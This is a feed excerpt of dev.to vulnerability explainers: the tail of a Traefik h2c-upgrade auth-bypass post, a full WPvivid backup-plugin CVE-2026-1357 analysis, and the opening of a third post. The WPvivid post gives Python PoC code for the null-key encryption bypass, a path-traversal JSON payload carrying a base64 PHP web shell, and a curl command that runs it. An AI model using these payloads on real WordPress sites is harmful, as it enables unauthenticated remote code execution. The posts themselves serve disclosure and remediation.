&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c"&gt;// ... after receiving the 101, an HTTP/2 client is built on top of the SAME raw socket&lt;/span&gt;
&lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;http2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Transport&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewClientConn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http://x/admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;cc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RoundTrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;// /admin never passes through the r-admin router at all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key point: the attacker never sends a request to &lt;code&gt;/admin&lt;/code&gt; directly. They &lt;strong&gt;turn the connection established through the unauthenticated &lt;code&gt;/public&lt;/code&gt; router into a tunnel&lt;/strong&gt;, and then, over that tunnel — the same already-open TCP connection — they issue a brand-new HTTP/2 request that reaches &lt;code&gt;/admin&lt;/code&gt;. As far as Traefik is concerned, it processed exactly one &lt;code&gt;/public&lt;/code&gt; request; whatever flows over that same connection afterward is invisible to it.&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/sl1uAxC82iM" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;





&lt;h3&gt;
  
  
  What the published PoC actually demonstrated
&lt;/h3&gt;

&lt;p&gt;With Traefik configured so that &lt;code&gt;/public&lt;/code&gt; (no auth) and &lt;code&gt;/admin&lt;/code&gt; (BasicAuth) both route to the same backend, the researcher's published PoC produced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[1] Direct GET /admin (no creds)      -&amp;gt; 401 Unauthorized
[2] Upgrade: h2c to /public (no auth) -&amp;gt; "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -&amp;gt; 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/admin&lt;/code&gt;, which returns &lt;code&gt;401&lt;/code&gt; when requested directly, returns &lt;code&gt;200&lt;/code&gt; with the protected data once reached through the h2c tunnel. &lt;code&gt;BasicAuth&lt;/code&gt;, &lt;code&gt;ForwardAuth&lt;/code&gt;, &lt;code&gt;IPAllowList&lt;/code&gt;, &lt;code&gt;RateLimit&lt;/code&gt; — every middleware attached to that router — gets bypassed, and requests sent through the tunnel &lt;strong&gt;don't show up as individual requests&lt;/strong&gt; in Traefik's normal access logs, metrics, or tracing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this is different from operator-configured h2c support
&lt;/h2&gt;

&lt;p&gt;Traefik already lets operators explicitly enable h2c backend communication through the &lt;code&gt;h2c://&lt;/code&gt; service scheme or the &lt;code&gt;transportH2C&lt;/code&gt; setting. This vulnerability is unrelated to that feature. Here, the upgrade is initiated by &lt;strong&gt;the client, not the operator&lt;/strong&gt;, and Traefik forwards it regardless of whether h2c is configured for that backend at all. In other words, even a completely ordinary HTTP/1 backend that the operator never intended to speak h2c can be affected, as long as its implementation happens to accept &lt;code&gt;Upgrade: h2c&lt;/code&gt; and answer with &lt;code&gt;101&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Not every backend is vulnerable, though. Recent &lt;code&gt;golang.org/x/net/http2/h2c&lt;/code&gt; implementations no longer support the HTTP/1.1 upgrade mechanism at all, so a current Go-based h2c server using that implementation isn't exposed through this path. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-adjacent stacks, however, may still accept the upgrade.&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — stop forwarding the Upgrade token unchecked
&lt;/h2&gt;

&lt;p&gt;Traefik 2.11.57 and 3.7.13 stop forwarding the &lt;code&gt;Upgrade: h2c&lt;/code&gt; token and its accompanying &lt;code&gt;HTTP2-Settings&lt;/code&gt; header to the backend. &lt;code&gt;Upgrade: websocket&lt;/code&gt; is unaffected and continues to work as before.&lt;/p&gt;

&lt;p&gt;The principle here is clear. For any component that has to guarantee requests pass through a specific layer — routing, authentication — before reaching their destination, protocol-switching mechanisms that can bypass that layer (&lt;code&gt;Upgrade&lt;/code&gt;, &lt;code&gt;CONNECT&lt;/code&gt;, and similar) need to be restricted to an explicit allowlist. The key lesson of this case is that "we added special handling for WebSocket" does not mean "anything that isn't WebSocket gets rejected." And any code that handles a response like &lt;code&gt;101 Switching Protocols&lt;/code&gt; — one that fundamentally redefines what the connection even is — needs to re-verify that its security layer still applies after that transition, not just before it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Traefik to 2.11.57 or 3.7.13 or later immediately. (The 3.4.2–3.6 branches are end-of-life, so migrate to 3.7.13.)&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, separating services so that protected and public paths &lt;strong&gt;never share the same backend&lt;/strong&gt; is a workable interim mitigation — if they're different backends, an opened tunnel still can't reach the protected path.&lt;/li&gt;
&lt;li&gt;Check directly whether your backend actually accepts &lt;code&gt;Upgrade: h2c&lt;/code&gt; and responds with &lt;code&gt;101&lt;/code&gt; — if it doesn't, this precondition doesn't hold for your environment.&lt;/li&gt;
&lt;li&gt;Even after patching, requests sent through the tunnel never appeared as individual entries in normal access logs, so confirming whether this was exploited during a past exposure window can't rely on access logs alone. Cross-check backend-side logs (where available) and look for unusual long-lived connections or upgrade-request patterns.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>python</category>
    </item>
    <item>
      <title>CVE-2026-1357 Explained: The Cost of Never Checking Whether Decryption Failed</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Thu, 15 Oct 2026 01:41:44 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-1357-explained-the-cost-of-never-checking-whether-decryption-failed-2c49</link>
      <guid>https://dev.to/guidance_white/cve-2026-1357-explained-the-cost-of-never-checking-whether-decryption-failed-2c49</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08i0vr7i36tp9ttpmfw2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08i0vr7i36tp9ttpmfw2.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-1357&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;WPvivid Backup &amp;amp; Migration (WordPress plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;0.9.123 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;0.9.124&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type); root cause is a cryptographic fail-open combined with missing path validation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None (though a plugin "Key" must have been generated at least once beforehand)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Lucas Montes (NiRoX), via Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install base&lt;/td&gt;
&lt;td&gt;Installed on more than 800,000 WordPress sites&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;WPvivid Backup &amp;amp; Migration is a plugin that creates WordPress backups and moves them to another server. To transfer backup data between sites securely, the plugin implements its own protocol: it encrypts backup chunks with an AES session key, which is itself wrapped in RSA. The cryptographic design is sound on paper. The problem is that it never answered one question: &lt;strong&gt;what should happen when RSA decryption fails?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;openssl_private_decrypt()&lt;/code&gt; fails, PHP returns &lt;code&gt;false&lt;/code&gt;. The plugin never checked that return value — it passed &lt;code&gt;false&lt;/code&gt; straight into the next stage, phpseclib's AES decryption function, as the key. phpseclib treats a non-string value like &lt;code&gt;false&lt;/code&gt; as a zero-length string, and because AES requires a fixed-length key, the library's internal padding/casting logic turns that into &lt;strong&gt;a predictable key filled entirely with null bytes.&lt;/strong&gt; The RSA private key — the entire point of the protection — is effectively bypassed. Layer a second flaw on top — the uploaded filename is never validated — and an unauthenticated attacker can drop a PHP web shell directly into WordPress's upload directory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — the cross-site backup transfer protocol
&lt;/h2&gt;

&lt;p&gt;WPvivid exposes an AJAX action called &lt;code&gt;send_to_site&lt;/code&gt; to move a backup from one site to another. The request carries a packet structured like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[RSA ciphertext length (3 hex digits)][AES key encrypted with RSA][AES ciphertext length (16 hex digits)][JSON payload encrypted with AES]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intent is straightforward: the AES key itself is encrypted with an RSA public key, the receiving side recovers it using its own private key, and that recovered key decrypts the actual backup data (JSON). If this worked as designed, an attacker without the RSA private key should have no way to produce a valid AES key in the first place.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq9l6o9xgjckp9iporq6p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq9l6o9xgjckp9iporq6p.png" alt=" " width="800" height="1440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — the RSA decryption result is used without being checked
&lt;/h3&gt;

&lt;p&gt;The handling logic in &lt;code&gt;class-wpvivid-send-to-site.php&lt;/code&gt; looks roughly like this (reconstructed from the public advisory and the published PoC):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// class-wpvivid-send-to-site.php (reconstructed from the public advisory)&lt;/span&gt;
&lt;span class="nb"&gt;openssl_private_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$encrypted_aes_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$aes_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;\phpseclib\Crypt\AES&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'cbc'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$cipher&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$aes_key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="c1"&gt;// passed through even if $aes_key is false&lt;/span&gt;
&lt;span class="nv"&gt;$cipher&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setIV&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$cipher&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$encrypted_payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;openssl_private_decrypt()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt; and fills its third argument (&lt;code&gt;$aes_key&lt;/code&gt;) with the decrypted value on success — or returns &lt;code&gt;false&lt;/code&gt;, leaving &lt;code&gt;$aes_key&lt;/code&gt; unset or unchanged, on failure. Correct code checks that return value and rejects the request immediately on failure. This code discards the return value entirely and uses &lt;code&gt;$aes_key&lt;/code&gt; as the AES key on the very next line, whatever state it's in.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — phpseclib casts &lt;code&gt;false&lt;/code&gt; into a "null-byte key" (the root cause)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;setKey()&lt;/code&gt; expects a string. PHP is loosely typed, so when &lt;code&gt;false&lt;/code&gt; lands where a string is expected, an implicit conversion happens. Inside phpseclib, as the key gets padded out to the block cipher's required length (16 bytes for AES-128), &lt;code&gt;false&lt;/code&gt; is effectively treated as &lt;strong&gt;an empty string of length zero&lt;/strong&gt;, and padding that out to 16 bytes produces &lt;strong&gt;a key consisting of sixteen repeated &lt;code&gt;\x00&lt;/code&gt; bytes.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openssl_private_decrypt() fails → $aes_key = false
setKey(false) → phpseclib pads it out, landing on "\x00" × 16 in practice
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the crux of the whole bug. An AES key that should only be derivable with the RSA private key instead &lt;strong&gt;collapses to the exact same value — sixteen null bytes — every single time decryption fails.&lt;/strong&gt; The attacker doesn't need to know the server's RSA private key at all; they only need to know "this server falls back to a fixed key whenever decryption of the attacker's own crafted request fails." The RSA-ciphertext portion of the packet can contain literally anything, including something that isn't valid RSA ciphertext at all — it fails to decrypt either way, and either way the result is the same null-byte key. The public PoC does exactly this, filling the RSA slot with the meaningless placeholder &lt;code&gt;"ABC"&lt;/code&gt; and encrypting only the AES portion with a null key and null IV.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Core PoC logic (halilkirazkaya/CVE-2026-1357, public repository)
&lt;/span&gt;&lt;span class="n"&gt;null_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="n"&gt;null_iv&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;null_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;null_iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# matches the server's own failure fallback
&lt;/span&gt;
&lt;span class="n"&gt;fake_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ABC&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# meaningless placeholder for the RSA slot — it's fine if decryption fails
&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fake_key&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;03x&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;fake_key&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;016x&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3 — the file path inside the (apparently) decrypted JSON is used with no validation
&lt;/h3&gt;

&lt;p&gt;Once the server decrypts the attacker's AES ciphertext using the null-byte key, it gets back exactly the JSON the attacker intended:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"backup_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"../uploads/shell.php"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"offset"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"index"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"backup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"running"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;name&lt;/code&gt; field here is both the filename and the path a backup chunk gets written to. In normal use, this field presumably assumes only a filename under the plugin's internal directory will ever appear — but there's no check at all for whether this value can escape that directory (path normalization, blocking &lt;code&gt;../&lt;/code&gt;, allowed-extension checks, none of it). The &lt;code&gt;data&lt;/code&gt; field is the base64-encoded file content itself, which can hold PHP web shell code directly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — path traversal lands the file in the public upload directory
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;../&lt;/code&gt; sequence embedded in &lt;code&gt;name&lt;/code&gt; is interpreted literally when the plugin writes the file, breaking out of the intended backup-only directory and landing it in WordPress's public upload directory (&lt;code&gt;wp-content/uploads/&lt;/code&gt;). Because the web server serves that directory directly, the uploaded PHP file executes the moment it's requested by URL — no separate trigger needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target/wp-content/uploads/shell.php?cmd=id"&lt;/span&gt;
&lt;span class="c"&gt;# → uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No credentials, no RSA private key, not even a valid session required. The only precondition is that a "Key" (API token) must have been generated at some point in the plugin's settings — and because the plugin's own internal logic often turns this on automatically whenever the relevant feature is used, rather than requiring deliberate admin action each time, this precondition holds often enough in real deployments.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/9HPgZEEmElA" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — treat failure as failure, and validate the path
&lt;/h2&gt;

&lt;p&gt;WPvivid 0.9.124 fixed this in two places:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It now checks the return value of &lt;code&gt;openssl_private_decrypt()&lt;/code&gt; and rejects the request immediately on failure, so &lt;code&gt;false&lt;/code&gt; never reaches the next stage at all.&lt;/li&gt;
&lt;li&gt;It added path normalization and directory-traversal protection to the uploaded file's &lt;code&gt;name&lt;/code&gt; value, making it impossible to write outside the designated backup directory.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There are two lessons here. Treating a cryptographic function's failure as "something that won't happen" and skipping the return-value check turns that exact failure path into the most predictable route to success an attacker could ask for. And data being encrypted doesn't mean every value inside it — especially a file path — can be trusted once decrypted; input validation is still required on the other side of the cryptographic layer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update WPvivid Backup &amp;amp; Migration to 0.9.124 or later immediately.&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, consider revoking any generated "Key" in the plugin's settings and disabling the cross-site transfer feature until it can be regenerated.&lt;/li&gt;
&lt;li&gt;Blocking PHP execution inside &lt;code&gt;wp-content/uploads/&lt;/code&gt; at the web server level (an Nginx &lt;code&gt;location&lt;/code&gt; rule, an Apache &lt;code&gt;.htaccess&lt;/code&gt; directive) is a useful common defense against this entire class of upload vulnerability.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check &lt;code&gt;wp-content/uploads/&lt;/code&gt; for unfamiliar &lt;code&gt;.php&lt;/code&gt; files, and cross-reference web server access logs for &lt;code&gt;wpvivid_action=send_to_site&lt;/code&gt; requests followed by access to the upload directory.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-94545 Explained: What Happens When an OG-Image Generator Forgets to Escape</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 13 Oct 2026 22:11:32 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-94545-explained-what-happens-when-an-og-image-generator-forgets-to-escape-2eck</link>
      <guid>https://dev.to/guidance_white/cve-2026-94545-explained-what-happens-when-an-og-image-generator-forgets-to-escape-2eck</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb4r2os2rzzi3mo0z6rj4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb4r2os2rzzi3mo0z6rj4.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-94545&lt;/td&gt;
